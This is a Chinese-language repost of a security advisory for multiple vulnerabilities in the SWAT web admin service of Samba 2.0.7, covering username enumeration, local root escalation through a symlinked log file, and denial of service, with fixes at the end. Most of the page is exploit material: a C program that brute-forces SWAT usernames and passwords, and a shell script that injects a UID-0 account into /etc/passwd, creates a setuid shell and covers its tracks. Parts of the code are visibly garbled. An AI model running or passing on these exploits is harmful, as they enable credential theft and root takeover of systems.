当前位置:Linux教程 - Linux - Linux swat多个严重漏洞

Linux swat多个严重漏洞



         受影响的版本:
    Samba 2.0.7

    不受影响的版本:

    Samba 2.0.9

    漏洞描述:

    swat是Samba 2.0以上服务器中包含的一个服务进程,它使管理员可以通过 web 界面对samba服务器进行配置管理.在Samba 2.0.7的swat服务中存在多个漏洞, 严重危害到系统安全.
    (1)可能泄漏系统用户名和密码. 当用户登录到swat页面时,swat会提示用户输入用户名和密码.当用户输入错误 的用户名时,swat会给出信息: 401 Bad Authorization username/password must be supplied 但是当用户输入正确的用户名但密码错误时,swat将会挂起两秒,然后返回信息: 401 Authorization Required You must be authenticated to use this service. 这样攻击者通过对swat返回的不同消息,可以获得系统中的用户名,从而可以进 一步获取该用户的密码,由于swat却省情况下没有打开日志功能,因此攻击过程 不会被纪录;如果swat打开了日志功能的话,将直接导致漏洞2的发生. ( 测试代码一 )
    (2)本地用户权限提升 swat默认情况下没有启用日志功能.如果启用了日志功能,swat没有检查日志文 件是否已经存在,就覆盖写入来自客户端用户的任意输入内容,这样本地的恶意 用户可以通过临时文件的竞争改写系统中的重要文件. 示例: [email protected]ash2.02$ ln -s /etc/passwd /tmp/cgi.log #首先建立一个连接 [email protected]ash2.02$ telnet localhost 901 #然后登录到901(swat)端口:
    toor::0:0::/:/bin/bash #输入如上内容,切断连接 ctrl^]:quit [email protected]ash2.02$ cat /etc/passwd #查看/etc/passwd文件
    [Date: Mon, 31 Oct 2000 22:19:58 GMT localhost.localdomain (127.0.0.1)] toor::0:0::/:/bin/bash
    [email protected]ash2.02$ su
    恶意用户将获得root权限。 ( 测试程序二 )
    (3)拒绝服务攻击 在登录时输入不正确的URL,例如 hostname:901?badfile 提供不正确的用户名和口令, swat将提示: Authentication Required 然后inetd将重启swat.如果系统使用netscape浏览器,netscape将立即重试url,最终导 致inetd关闭swat服务很长一段时间.

    测试方法:(以下的程序或方法可能具有攻击性,如用于非法用途,后果自负!)

    ---------------------------* swat_test1.c *---------------------------------- #include stdio.h #include netdb.h #include stdlib.h #include string.h #include sys/socket.h #include sys/types.h #include netinet/in.h #include arpa/inet.h #include signal.h #include errno.h #include fcntl.h
    #define SWAT_PORT 901 #define MAX_NAME_SIZE 16 #define MAX_PASS_SIZE 16 #define CHECK_PASSWORD "centerfield" #define USER_AGENT "super-hyper-alpha-pickle-2000"
    struct VALID_NAMES { char *name; struct VALID_NAMES *next; };
    struct VALID_NAMES *add_to_names(struct VALID_NAMES *list, char *name) { list->name=(char *)malloc(MAX_NAME_SIZE); memcpy(list->name, name, MAX_NAME_SIZE); list->next=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list=list->next; memset(list, 0, sizeof(struct VALID_NAMES)); return(list); }
    void chop(char *str) { int x;
    for(x=0;str[x]!=\;x++) if(str[x]== ) { str[x]=\; return; } return; }
    char *base64_encode(char *str) { char *b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    int x, y; unsigned char *output;
    output=(char *)malloc(strlen(str)*2); memset(output, 0, strlen(str)*2);
    for(x=0, y=0;x> 2;
    output[y+1] = str[x] << 6; output[y+1] = output[y+1] >> 2; output[y+1] = output[y+1] | (str[x+1] >> 4);
    output[y+2] = str[x+1] << 4; output[y+2] = output[y+2] >> 2; output[y+2] = output[y+2] | (str[x+2] >> 6);
    output[y+3] = str[x+2] << 2; output[y+3] = output[y+3] >> 2; }
    if(strlen(str)%3 == 1) { output[y]=str[x] >> 2; output[y+1]=str[x] << 6; output[y+1]=output[y+1] >> 2; output[y+2]=64; output[y+3]=64; }
    if(strlen(str)%3 == 2) { output[y]=str[x] >> 2; output[y+1]=str[x] << 6; output[y+1]=output[y+1] >> 2; output[y+1]=output[y+1] | (str[x+1] >> 4); output[y+2]=str[x+1] << 4; output[y+2]=output[y+2] >> 2; output[y+3]=64; }
    for(x=0 ; output[x] != 0 ; x++) output[x] = b64[output[x]];
    output[x+1]=\; return(output); }
    int check_user(char *name, char *pass, struct hostent *he) { char buf[8192]=""; char buf2[1024]=""; int s; struct sockaddr_in s_addr;
    memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2));
    s_addr.sin_family = PF_INET; s_addr.sin_port = htons(SWAT_PORT); memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, sizeof(s_addr.sin_addr));
    if((s=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { fprintf(stderr, "cannot create socket "); exit(-1); }
    if(connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr))==-1) { fprintf(stderr, "cannot connect "); exit(-1); }
    chop(name); chop(pass); sprintf(buf2, "%s:%s", name, pass); sprintf(buf, "GET / HTTP/1.0 " "Connection: Keep-Alive " "User-Agent: %s " "Authorization: Basic %s ", USER_AGENT, base64_encode(buf2));
    if(send(s, buf, strlen(buf), 0) < 1) { perror("send: "); exit(1); }
    memset(buf, 0, sizeof(buf)); if(recv(s, buf, sizeof(buf), 0) < 1) { perror("recv: "); exit(1); }
    buf[sizeof(buf)]=\;
    if(strstr(buf, "HTTP/1.0 401 Authorization Required") != NULL) { close(s); return 1; } else if(strstr(buf, "HTTP/1.0 401 Bad Authorization") != NULL) { close(s); return 0; } else if(strstr(buf, "HTTP/1.0 200 OK") != NULL) { close(s); return 2; } else { printf("Unknown result: %s ", buf); exit(1); } }
    void usage(void) { printf(" Usage: flyswatter [-a] -t target -n namefile -p passwordfile "); printf(" -a: Do not verify that users exist. "); exit(1); }
    int main(int argc, char** argv) { int x, y, z;
    int s; char buf[MAX_NAME_SIZE]=""; FILE *pfile, *nfile; struct hostent *he; struct VALID_NAMES *valid_names; struct VALID_NAMES *list_walk;
    int tryall=0; char target[1024]=""; char namefile[512]=""; char passwordfile[512]="";
    valid_names=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES)); list_walk=valid_names; memset(valid_names, 0, sizeof(struct VALID_NAMES));
    if(argc<2) usage();
    for(x=1;x if(strncmp(target, "", sizeof(target))==0) { fprintf(stderr, "Must specify target "); exit(1); }
    if(strncmp(namefile, "", sizeof(target))==0) { fprintf(stderr, "Must specify namefile "); exit(1); }
    if((nfile=fopen(namefile, "r"))==NULL) { fprintf(stderr, "Cannot open %s ", namefile); exit(1); }
    if(strcmp(passwordfile, "")!=0) if((pfile=fopen(passwordfile, "r"))==NULL) { fprintf(stderr, "Cannot open %s ", passwordfile); exit(1); }
    printf(" "); if(tryall==1) printf("-Not verifying usenames "); printf("-Namefile: %s ", namefile); printf("-Passwordfile: %s ", passwordfile); printf("-Target: %s ", target);
    if((he=gethostbyname(target)) == NULL) { fprintf(stderr, " *Invalid target "); usage(); }
    if(tryall==0) while(fgets(buf, sizeof(buf), nfile)) { chop(buf); if(check_user(buf, CHECK_PASSWORD, he) == 1) { printf("User "%s" exists! ", buf); list_walk=add_to_names(list_walk, buf); } } else while(fgets(buf, sizeof(buf), nfile)) { chop(buf); list_walk=add_to_names(list_walk, buf); }
    if(strcmp(passwordfile, "")==0) { exit(0); printf("Finished. "); }
    while(valid_names->next != 0) { fseek(pfile, 0, SEEK_SET); while(fgets(buf, sizeof(buf), pfile)!=NULL) { if(check_user(valid_names->name, buf, he)==2) printf("valid username/password: %s:%s ", valid_names->name, buf); } valid_names=valid_names->next; }
    printf("Finished. "); exit(0); }
    ------------------------------* swat_test2.sh---------------------------------- #!/bin/sh # swat for samba 2.0.7 compiled with cgi logging exploit # discovered by miah [email protected] # exploit by optyx [email protected] if [ -f /tmp/cgi.log ]; then if [ `rm -f /tmp/cgi.log` ]; then echo "/tmp/cgi.log exists and cannot be deleted" exit fi fi echo "backing up /etc/passwd" cp -pd /etc/passwd /tmp/.bak touch -r /etc/passwd /tmp/.bak ln -s /etc/passwd /tmp/cgi.log echo "connecting to swat" echo -e "uberhaxr::0:0:optyx r0x y3r b0x:/:/bin/bash "| nc -w 1 localhost swat if [ `su -l uberhaxr -c "cp /bin/bash /tmp/.swat"` ]; then echo "exploit failed" rm /tmp/.bak rm /tmp/cgi.log exit fi su -l uberhaxr -c "chmod u+s /tmp/.swat" echo "restoring /etc/passwd" su -l uberhaxr -c "cp -pd /tmp/.bak /etc/passwd; chown root.root /etc/passwd; touch -r /tmp/.bak /etc/passwd" rm /tmp/.bak rm /tmp/cgi.log echo "got root? (might want to rm /tmp/.swat)" /tmp/.swat


    解决方案:

    (1)关闭swat服务; (2)安装swat补丁http://www.uberhax0r.net/~miah/swat/code/cgi.c.fixed (3)升级swat到2.0.9以上版本: http://www.samba.org
    发布人:Crystal 来自:LinuxAid